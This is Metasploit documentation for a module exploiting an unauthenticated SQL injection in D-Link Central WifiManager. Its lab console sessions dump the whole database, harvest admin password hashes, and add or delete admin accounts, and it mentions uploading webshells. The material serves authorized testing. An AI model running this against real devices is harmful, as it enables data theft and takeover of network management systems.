PageRenderTime 45ms CodeModel.GetById 19ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/auxiliary/sqli/dlink/dlink_central_wifimanager_sqli.md

https://github.com/rapid7/metasploit-framework
Markdown | 180 lines | 137 code | 43 blank | 0 comment | 0 complexity | ab266f5494c6742dd2f0569b9b8df75d MD5 | raw file
  1. ## Vulnerable Application
  2. This module exploits a vulnerability in Dlink Central
  3. WifiManager (CWM-100), found in versions lower than
  4. v1.03R0100_BETA6, allowing unauthenticated users to
  5. execute arbitary SQL queries.
  6. This module has 3 actions:
  7. | Action | Description |
  8. | ------------- | -------------------------- |
  9. | SQLI_DUMP | Data retrieval* |
  10. | ADD_ADMIN | Creation of an admin user |
  11. | REMOVE_ADMIN | Removal of an admin user |
  12. \* : each table is saved in the loot directory in CSV format, credentials (password hashes) are saved as
  13. creds for future cracking.
  14. Has been tested with 1.03r098.
  15. ## Verification Steps
  16. 1. Download the vulnerable software, and install it
  17. - Run the vulnerable software, downloadable from
  18. [here](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10117).
  19. - direct download link:
  20. `ftp://ftp2.dlink.com/SOFTWARE/CENTRAL_WIFI_MANAGER/CENTRAL_WI-FI_MANAGER_1.03.zip
  21. 2. Reproduction steps
  22. - Run `msfconsole`
  23. - set rhosts ...
  24. - set action ...
  25. - `check` or `exploit`
  26. - should work as in the scenarios below
  27. ## Actions
  28. ```
  29. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show actions
  30. Auxiliary actions:
  31. Name Description
  32. ---- -----------
  33. ADD_ADMIN Add an administrator user
  34. REMOVE_ADMIN Remove a user
  35. SQLI_DUMP Retrieve all the data from the database
  36. ```
  37. ## Options
  38. ```
  39. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > show options
  40. Module options (auxiliary/sqli/dlink/dlink_central_wifimanager_sqli):
  41. Name Current Setting Required Description
  42. ---- --------------- -------- -----------
  43. Admin_Password anything no The password of the user to add/edit
  44. Admin_Username red0xff no The username of the user to add/remove
  45. Proxies no A proxy chain of format type:host:port[,type:host:port][...]
  46. RHOSTS 192.168.1.223 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  47. RPORT 443 yes The target port (TCP)
  48. SSL true no Negotiate SSL/TLS for outgoing connections
  49. TARGETURI / yes The base path to DLink CWM-100
  50. VHOST no HTTP server virtual host
  51. ```
  52. ## Scenarios
  53. This module has both `check` and `run` functions.
  54. ### Retrieving all the data from the database
  55. ```
  56. msf5 > use auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
  57. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action SQLI_DUMP
  58. action => SQLI_DUMP
  59. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set rhosts 192.168.1.223
  60. rhosts => 192.168.1.223
  61. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > check
  62. [+] 192.168.1.223:443 - The target is vulnerable.
  63. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
  64. [*] Running module against 192.168.1.223
  65. [+] Target seems vulnerable
  66. [+] DBMS version: PostgreSQL 9.1.0, compiled by Visual C++ build 1500, 32-bit
  67. [*] Enumerating tables
  68. [+] grouptossltable saved to /home/redouane/.msf4/loot/20200828180148_default_192.168.1.223_dlink.http_187571.csv
  69. [+] paypalsettingtable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_642251.csv
  70. [+] ordertable saved to /home/redouane/.msf4/loot/20200828180149_default_192.168.1.223_dlink.http_944954.csv
  71. ...
  72. [+] tempstationtable saved to /home/redouane/.msf4/loot/20200828180505_default_192.168.1.223_dlink.http_577215.csv
  73. [+] Saved credentials for admin
  74. [+] Saved credentials for red0xff
  75. [+] usertable saved to /home/redouane/.msf4/loot/20200828180153_default_192.168.1.223_dlink.http_608945.csv
  76. ...
  77. [+] devicesnmpsecuritytable saved to /home/redouane/.msf4/loot/20200828180154_default_192.168.1.223_dlink.http_825556.csv
  78. [*] Auxiliary module execution completed
  79. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
  80. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > creds
  81. Credentials
  82. ===========
  83. host origin service public private realm private_type JtR Format
  84. ---- ------ ------- ------ ------- ----- ------------ ----------
  85. 192.168.1.223 admin 21232f297a57a5a743894a0e4a801fc3 Nonreplayable hash raw-md5
  86. 192.168.1.223 red0xff f0e166dc34d14d6c228ffac576c9a43c Nonreplayable hash raw-md5
  87. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
  88. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > loot
  89. Loot
  90. ====
  91. host service type name content info path
  92. ---- ------- ---- ---- ------- ---- ----
  93. 192.168.1.223 dlink.http biggrouptable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_360290.csv
  94. 192.168.1.223 dlink.http devicetable.csv application/csv /home/redouane/.msf4/loot/20200828180503_default_192.168.1.223_dlink.http_230830.csv
  95. ...
  96. ult_192.168.1.223_dlink.http_878195.csv
  97. 192.168.1.223 dlink.http devicesnmpsecuritytable.csv application/csv /home/redouane/.msf4/loot/20200828180506_default_192.168.1.223_dlink.http_086271.csv
  98. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
  99. ```
  100. ### Adding an admin user/changing the password of a user
  101. ```
  102. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action ADD_ADMIN
  103. action => ADD_ADMIN
  104. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username msfadmin
  105. Admin_Username => msfadmin
  106. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfadmin
  107. Admin_Password => msfadmin
  108. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
  109. [*] Running module against 192.168.1.223
  110. [+] Target seems vulnerable
  111. [*] User not found on the target, inserting
  112. [*] Auxiliary module execution completed
  113. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Password msfpassword
  114. Admin_Password => msfpassword
  115. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
  116. [*] Running module against 192.168.1.223
  117. [*] Trying to detect installed version
  118. [+] Target seems vulnerable
  119. [*] User already exists, updating the password
  120. [*] Auxiliary module execution completed
  121. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) >
  122. ```
  123. ### Deleting an administrator user
  124. ```
  125. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set action REMOVE_ADMIN
  126. action => REMOVE_USER
  127. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > set Admin_Username red0xff
  128. Admin_Username => red0xff
  129. msf5 auxiliary(sqli/dlink/dlink_central_wifimanager_sqli) > run
  130. [*] Running module against 192.168.1.223
  131. [+] Target seems vulnerable
  132. [*] Auxiliary module execution completed
  133. ```
  134. ### Going further
  135. It is possible to upload arbitary files to the target system using queries of the form
  136. (copy ... to ...), but using full paths, the attacker must know the path of the webroot
  137. to upload a webshell this way.